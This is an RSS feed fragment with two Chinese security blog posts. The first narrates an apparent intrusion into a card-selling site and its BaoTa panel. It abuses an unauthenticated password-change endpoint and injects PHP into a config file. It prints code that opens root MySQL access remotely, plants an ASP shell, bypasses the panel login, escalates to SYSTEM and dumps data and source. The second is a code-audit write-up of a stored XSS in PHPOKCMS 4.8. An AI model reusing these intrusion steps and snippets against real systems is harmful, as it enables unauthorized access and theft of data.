		<pubDate>Thu, 08 Feb 2018 23:40:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=164</guid>

					<description><![CDATA[原文地址 一开始是奔着dz去的，注册了个账号，想试一下任意文件删除然后重装getshell，当然。。。失败了。。最新版dz。 然后有个老铁说有个旁站，是一个发卡平台，抄出我的goo...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="https://www.luolikong.vip/?p=369">原文地址</a></p></blockquote>
<p>一开始是奔着dz去的，注册了个账号，想试一下任意文件删除然后重装getshell，当然。。。失败了。。最新版dz。</p>
<p>然后有个老铁说有个旁站，是一个发卡平台，抄出我的google大法搜到了别人破解的源码。 然后丢到环境里搭起来晾着。</p>
<p>nmap扫端口扫到了两个开放http的端口一个是88，一个是888.</p>
<p>打开后发现888是宝塔的管理面板。</p>
<p>当时我就装了个宝塔打算巴拉巴拉一波，静态跑一遍之后忽然想起今天要上班还是不看宝塔了，转而去发卡平台源码巴拉巴拉。</p>
<p>上代码审计工具看了下，没有过滤，注入是肯定有的，但是我并不想注入。。。因为。。。我不会mysql。。。</p>
<p>随便贴张图吧<br /><img src="/wp-content/uploads/2018/02/546007818.png" alt="1.png" title="1.png"><br />那么问题来了，注入不搞的话怎么去getshell或者弄管理员密码呢？</p>
<p>全部巴拉巴拉了一遍源码之后发现一个文件没有校验登陆状态。唔。。。没错  那是个ajax.php</p>
<p>只要参数正确就可以传递内容过去。</p>
<p>这是密码修改的后端代码<br /><img src="/wp-content/uploads/2018/02/1575681464.png" alt="2.png" title="2.png"><br />请求大概是这样 <br /><img src="/wp-content/uploads/2018/02/58622513.png" alt="3.png" title="3.png"><br />就这样我们修改成功了。。。。</p>
<p>然后就是怎么get个shell。。。</p>
<p>看了几个功能之后觉得可以试试上传文件。。但是上传绕过太烦。。</p>
<p>代码如下<br /><img src="/wp-content/uploads/2018/02/3729323431.png" alt="4.png" title="4.png"><br />这时看到了一个echo的东西。。。这是个很重要的突破点</p>
<p>代码如下<br /><img src="/wp-content/uploads/2018/02/2048593619.png" alt="5.png" title="5.png"><br />之前我们说过这个程序没有过滤之类的操作，</p>
<p>so。。看一下这个emailconfig.php是长什么样<br /><img src="/wp-content/uploads/2018/02/3242096533.png" alt="6.png" title="6.png"><br />我突然想到了存储型xss，从存储型xss想到了前后代码补全get个shell。。。</p>
<p>先搓一个五毛钱的phpinfo<br /><img src="/wp-content/uploads/2018/02/3248306042.png" alt="7.png" title="7.png"><br />提交之后返回修改邮件的标签可以发现如下情况 <br /><img src="/wp-content/uploads/2018/02/782158639.png" alt="8.png" title="8.png"><br />ojbk再搓一个一块钱的shell <br /><img src="/wp-content/uploads/2018/02/3515638794.png" alt="9.png" title="9.png"><br />然而很不幸的是。。。500错误了。。。在看了一下phpinfo打印的信息发现。。。 <br /><img src="/wp-content/uploads/2018/02/205665682.png" alt="10.png" title="10.png"><br />全都GG了。。</p>
<p>这种情况很尴尬。。。非常的尴尬。。。</p>
<p>欣赏了一会音乐之后想起我为什么不读一下文件试试？毕竟mysql是开放的，于是乎。。。去读了dz的配置文件</p>
<p>还行啦这玩意居然是root账号。。。</p>
<p>当时我就操出我的mysql udf准备扫操作一波。。。但是忽然发现root不能远程登陆。。于是再搓一个远程登陆的查询语句</p>
<pre><code>$link=@mysqli_connect('localhost','root','root');mysqli_select_db($link,'mysql');mysqli_set_charset($link,'utf8');mysqli_query($link,&quot;update user set host = '%'where user= 'root';&quot;);mysqli_query($link,&quot;GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;&quot;);mysqli_query($link,&quot;flush privileges;&quot;);</code></pre>
<p>大概是这样  ，然后刷新一下php页面就能远程连接了。</p>
<p>这时我还要读一下目录看看plugin文件夹在不在。。。于是又搓了一个读文件夹的代码</p>
<p><code>print_r(glob($_GET['id']. '/*' , GLOB_ONLYDIR));</code><br />唔。。事实证明并没有plugin目录。。。gg。。</p>
<p>这时我又继续听歌。。突然我想起这玩意目录里有个aspnet_client</p>
<p>能不能搓个asp？</p>
<p>于是又搓了一行代码用来创建asp文件</p>
<p><code>file_put_contents('one.asp', '');</code><br />于是。。生成了一个asp的shell。。访问成功 <br /><img src="/wp-content/uploads/2018/02/1481939401.png" alt="11.png" title="11.png"><br />这时。。。开始创建个mysql的plugin目录用于传udf。。。然而折腾了一会之后发现udf加载失败。。。头大。。。放弃这个方案。</p>
<p>这是我们开始打宝塔的主意，</p>
<p>巴拉巴拉找到了宝塔的数据库文件。。是个sqli。。直接打开发现是MD5加密的密码。。。。唔。。。cmd5查不到。。。</p>
<p>突然间我又突发奇想。。。宝塔的网站目录能不能读？</p>
<p>事实证明是可以的。。。<br /><img src="/wp-content/uploads/2018/02/239910051.png" alt="12.png" title="12.png"><br />于是去看了下login.php</p>
<p>唔。。。直接改登陆认证。。。<br /><img src="/wp-content/uploads/2018/02/3122940510.png" alt="13.png" title="13.png"></p>
<p>然后就登陆上了宝塔的面板。。。。</p>
<p>翻了一圈没找到个执行命令的地方   有个计划任务还不执行。。这就很蛋疼。。。</p>
<p>抽了两根烟。。又翻了下宝塔的文件夹。。。突然灵光一现。。这TM宝塔还有个独立的php环境。。。搓开php.ini发现没有过滤。。。。ojbk直接传个php到宝塔面板根目录<br /><img src="/wp-content/uploads/2018/02/4056422949.png" alt="14.png" title="14.png"><br />我们终于从iis_user变成了system。。。</p>
<p>唔。。接下来就简单了。。。创个用户。。远程登陆。。。脱裤脱源码。。。。收工<br /><img src="/wp-content/uploads/2018/02/1622407023.png" alt="15.png" title="15.png"></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/351.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>PHPOKCMS存储型XSS漏洞挖掘</title>
		<link>/web/329.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 19 Jan 2018 16:34:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[代码审计]]></category>
		<guid isPermaLink="false">/?p=27</guid>

					<description><![CDATA[概述 PHPOKCMS这是一套允许用户高度自由配置的企业站程序，基于LGPL协议开源授权！CMS拥有直观、简洁、轻松愉悦的后台管理 ，完善的功能模块，强大的SEO搜索优化 及营销功...]]></description>
										<content:encoded><![CDATA[<h1>概述</h1>
<p>PHPOKCMS这是一套允许用户高度自由配置的企业站程序，基于LGPL协议开源授权！CMS拥有直观、简洁、轻松愉悦的后台管理 ，完善的功能模块，强大的SEO搜索优化 及营销功能。根据黑盒+白盒的方式进行挖掘漏洞，黑盒思路发现漏洞，白盒方式审计漏洞。当前版本为PHPOKCMS 4.8，漏洞为CNVD-C-2016-81241。</p>
<h1>1.2 发现漏洞</h1>
<p>首先进入后台页面，然后找到关于我们进行编辑，如图1所示。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzte3r0qj30vu0gaacb.jpg" alt="" title=""><br />根据页面中的代码，可得知页面进行HTML实体的转换。我将发送的数据包截获，并且修改为URL编码后的JS代码，如图2所示；URL编码前代码如图3所示。<br /><img src="https://ws1.sinaimg.cn/large/006xriyngy1fnlzvq1ue0j30uh0exjto.jpg" alt="" title=""><br /><img src="https://ws1.sinaimg.cn/large/006xriyngy1fnlzvxoj0zj30tg08wwen.jpg" alt="" title=""><br />在页面中成功执行JS代码，如图4所示。<br /><img src="https://ws1.sinaimg.cn/large/006xriyngy1fnlzwhqx2gj30vc0eeq8l.jpg" alt="" title=""><br />查看页面JS代码，如图5所示。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzx10zs1j30qu0ei0tk.jpg" alt="" title=""><br />根据发现漏洞，采用白盒审计的方法，递进查看漏洞产生原因。</p>
<h1>1.3浏览存在漏洞的代码</h1>
<p>后台管理中关于我们页面的代码，如图6所示：<br /><code>/data/tpl_admin/1_list_edit.php</code> 第27行。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzxw11jnj30uc0gntai.jpg" alt="" title=""><br />页面是采用动态的生成方式，继续查看页面解析的代码，如图7所示<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzydgzu8j30rj0h9aa9.jpg" alt="" title=""><br />继续追踪传递参数到ok_f()，如图8所示：<br /><code>/framework/admin/list_control.php</code> 755行。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzyyqefbj30ef0hlt9q.jpg" alt="" title=""><br />紧接着执行存储方法，如图9所示：<br /><code>/framework/admin/list_control.php</code> 858行。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnlzzly6j3j30vi0e50u6.jpg" alt="" title=""><br />存储语句执行，如图10 所示：<br /><code>/framework/model/admin/ext_model.php</code><br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fnm005sbq2j30j2036glk.jpg" alt="" title=""></p>
<h1>1.4总结</h1>
<p>在页面中进行HTML实体转换，显然不是十分的妥善的。通过一些方法可以绕过。</p>
<p>感谢网友<code>@vr_system</code>投稿</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
